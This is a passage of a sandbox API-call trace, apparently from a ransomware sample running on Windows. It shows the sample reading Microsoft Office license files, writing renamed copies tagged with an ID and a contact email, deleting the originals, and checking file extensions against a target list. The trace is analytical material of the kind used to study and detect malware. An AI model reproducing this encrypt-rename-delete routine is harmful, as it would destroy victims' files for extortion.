lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x2d61, lpOverlapped=0x0) returned 1 [0195.953] WriteFile (in: hFile=0x538, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0195.954] ReadFile (in: hFile=0x54c, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0195.954] WriteFile (in: hFile=0x538, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x11c, lpOverlapped=0x0) returned 1 [0195.954] SetEndOfFile (hFile=0x538) returned 1 [0195.954] CloseHandle (hObject=0x538) returned 1 [0195.954] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.954] SetEndOfFile (hFile=0x54c) returned 1 [0195.958] CloseHandle (hObject=0x54c) returned 1 [0195.958] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0195.960] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-oob.xrm-ms")) returned 1 [0195.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0195.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0195.961] lstrlenW (lpString=".doc") returned 4 [0195.961] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0195.961] lstrlenW (lpString=".docx") returned 5 [0195.961] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0195.961] lstrlenW (lpString=".pdf") returned 4 [0195.961] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0195.961] lstrlenW (lpString=".xls") returned 4 [0195.961] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0195.962] lstrlenW (lpString=".xlsx") returned 5 [0195.962] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0195.962] lstrlenW (lpString=".ppt") returned 4 [0195.962] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0195.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0195.962] lstrlenW (lpString=".zip") returned 4 [0195.962] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0195.962] lstrlenW (lpString=".rar") returned 4 [0195.962] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0195.962] lstrlenW (lpString=".bz2") returned 4 [0195.962] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0195.962] lstrlenW (lpString=".7z") returned 3 [0195.962] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0195.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0195.962] lstrlenW (lpString=".dbf") returned 4 [0195.962] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0195.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0195.962] lstrlenW (lpString=".1cd") returned 4 [0195.962] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0195.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0195.962] lstrlenW (lpString=".jpg") returned 4 [0195.962] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0195.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0195.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0195.962] lstrlenW (lpString=".doc") returned 4 [0195.962] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0195.962] lstrlenW (lpString=".docx") returned 5 [0195.962] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0195.962] lstrlenW (lpString=".pdf") returned 4 [0195.963] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0195.963] lstrlenW (lpString=".xls") returned 4 [0195.963] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0195.963] lstrlenW (lpString=".xlsx") returned 5 [0195.963] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0195.963] lstrlenW (lpString=".ppt") returned 4 [0195.963] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0195.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0195.963] lstrlenW (lpString=".zip") returned 4 [0195.963] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0195.963] lstrlenW (lpString=".rar") returned 4 [0195.963] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0195.963] lstrlenW (lpString=".bz2") returned 4 [0195.963] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0195.963] lstrlenW (lpString=".7z") returned 3 [0195.963] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0195.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0195.963] lstrlenW (lpString=".dbf") returned 4 [0195.963] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0195.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0195.963] lstrlenW (lpString=".1cd") returned 4 [0195.963] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0195.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0195.963] lstrlenW (lpString=".jpg") returned 4 [0195.963] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0195.963] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0195.964] lstrlenW (lpString="HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 33 [0195.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0195.964] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=10667) returned 1 [0195.964] CloseHandle (hObject=0x54c) returned 1 [0195.964] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-pl.xrm-ms")) returned 0x220 [0195.964] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0195.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0195.965] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.965] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0195.966] GetLastError () returned 0x0 [0195.966] ReadFile (in: hFile=0x54c, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x29ab, lpOverlapped=0x0) returned 1 [0195.968] WriteFile (in: hFile=0x538, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x29b0, lpOverlapped=0x0) returned 1 [0195.969] ReadFile (in: hFile=0x54c, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0195.969] WriteFile (in: hFile=0x538, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x116, lpOverlapped=0x0) returned 1 [0195.969] SetEndOfFile (hFile=0x538) returned 1 [0195.969] CloseHandle (hObject=0x538) returned 1 [0195.970] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.970] SetEndOfFile (hFile=0x54c) returned 1 [0195.973] CloseHandle (hObject=0x54c) returned 1 [0195.973] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0195.973] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-pl.xrm-ms")) returned 1 [0195.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83 [0195.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83 [0195.974] lstrlenW (lpString=".doc") returned 4 [0195.974] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0195.974] lstrlenW (lpString=".docx") returned 5 [0195.974] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0195.974] lstrlenW (lpString=".pdf") returned 4 [0195.974] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0195.974] lstrlenW (lpString=".xls") returned 4 [0195.974] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0195.974] lstrlenW (lpString=".xlsx") returned 5 [0195.974] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0195.974] lstrlenW (lpString=".ppt") returned 4 [0195.974] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0195.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83 [0195.974] lstrlenW (lpString=".zip") returned 4 [0195.974] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0195.975] lstrlenW (lpString=".rar") returned 4 [0195.975] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0195.975] lstrlenW (lpString=".bz2") returned 4 [0195.975] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0195.975] lstrlenW (lpString=".7z") returned 3 [0195.975] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0195.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83 [0195.975] lstrlenW (lpString=".dbf") returned 4 [0195.975] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0195.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83 [0195.975] lstrlenW (lpString=".1cd") returned 4 [0195.975] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0195.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83 [0195.975] lstrlenW (lpString=".jpg") returned 4 [0195.975] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0195.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83 [0195.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83 [0195.975] lstrlenW (lpString=".doc") returned 4 [0195.975] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0195.975] lstrlenW (lpString=".docx") returned 5 [0195.975] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0195.975] lstrlenW (lpString=".pdf") returned 4 [0195.975] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0195.975] lstrlenW (lpString=".xls") returned 4 [0195.975] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0195.975] lstrlenW (lpString=".xlsx") returned 5 [0195.975] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0195.975] lstrlenW (lpString=".ppt") returned 4 [0195.975] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0195.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83 [0195.976] lstrlenW (lpString=".zip") returned 4 [0195.976] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0195.976] lstrlenW (lpString=".rar") returned 4 [0195.976] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0195.976] lstrlenW (lpString=".bz2") returned 4 [0195.976] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0195.976] lstrlenW (lpString=".7z") returned 3 [0195.976] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0195.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83 [0195.976] lstrlenW (lpString=".dbf") returned 4 [0195.976] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0195.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83 [0195.976] lstrlenW (lpString=".1cd") returned 4 [0195.976] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0195.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83 [0195.976] lstrlenW (lpString=".jpg") returned 4 [0195.976] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0195.976] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0195.976] lstrlenW (lpString="HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 34 [0195.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0195.977] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=22094) returned 1 [0195.977] CloseHandle (hObject=0x54c) returned 1 [0195.977] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ppd.xrm-ms")) returned 0x220 [0195.977] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0195.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0195.978] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.978] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0195.979] GetLastError () returned 0x0 [0195.979] ReadFile (in: hFile=0x54c, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x564e, lpOverlapped=0x0) returned 1 [0195.982] WriteFile (in: hFile=0x538, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x5650, lpOverlapped=0x0) returned 1 [0195.983] ReadFile (in: hFile=0x54c, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0195.983] WriteFile (in: hFile=0x538, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x118, lpOverlapped=0x0) returned 1 [0195.983] SetEndOfFile (hFile=0x538) returned 1 [0195.984] CloseHandle (hObject=0x538) returned 1 [0195.984] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.984] SetEndOfFile (hFile=0x54c) returned 1 [0196.061] CloseHandle (hObject=0x54c) returned 1 [0196.089] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0196.090] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ppd.xrm-ms")) returned 1 [0196.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84 [0196.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84 [0196.091] lstrlenW (lpString=".doc") returned 4 [0196.091] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0196.091] lstrlenW (lpString=".docx") returned 5 [0196.091] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0196.091] lstrlenW (lpString=".pdf") returned 4 [0196.091] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0196.091] lstrlenW (lpString=".xls") returned 4 [0196.091] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0196.091] lstrlenW (lpString=".xlsx") returned 5 [0196.091] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0196.091] lstrlenW (lpString=".ppt") returned 4 [0196.091] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0196.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84 [0196.091] lstrlenW (lpString=".zip") returned 4 [0196.091] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0196.091] lstrlenW (lpString=".rar") returned 4 [0196.091] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0196.091] lstrlenW (lpString=".bz2") returned 4 [0196.091] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0196.091] lstrlenW (lpString=".7z") returned 3 [0196.091] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0196.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84 [0196.091] lstrlenW (lpString=".dbf") returned 4 [0196.091] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0196.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84 [0196.092] lstrlenW (lpString=".1cd") returned 4 [0196.092] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0196.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84 [0196.092] lstrlenW (lpString=".jpg") returned 4 [0196.092] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0196.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84 [0196.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84 [0196.092] lstrlenW (lpString=".doc") returned 4 [0196.092] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0196.092] lstrlenW (lpString=".docx") returned 5 [0196.092] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0196.092] lstrlenW (lpString=".pdf") returned 4 [0196.092] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0196.092] lstrlenW (lpString=".xls") returned 4 [0196.092] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0196.092] lstrlenW (lpString=".xlsx") returned 5 [0196.092] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0196.092] lstrlenW (lpString=".ppt") returned 4 [0196.092] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0196.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84 [0196.092] lstrlenW (lpString=".zip") returned 4 [0196.092] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0196.092] lstrlenW (lpString=".rar") returned 4 [0196.092] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0196.092] lstrlenW (lpString=".bz2") returned 4 [0196.093] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0196.093] lstrlenW (lpString=".7z") returned 3 [0196.093] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0196.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84 [0196.093] lstrlenW (lpString=".dbf") returned 4 [0196.093] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0196.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84 [0196.093] lstrlenW (lpString=".1cd") returned 4 [0196.093] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0196.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84 [0196.093] lstrlenW (lpString=".jpg") returned 4 [0196.093] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0196.093] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0196.093] lstrlenW (lpString="HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 33 [0196.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0196.094] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=10667) returned 1 [0196.094] CloseHandle (hObject=0x544) returned 1 [0196.094] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-pl.xrm-ms")) returned 0x220 [0196.094] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0196.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0196.095] 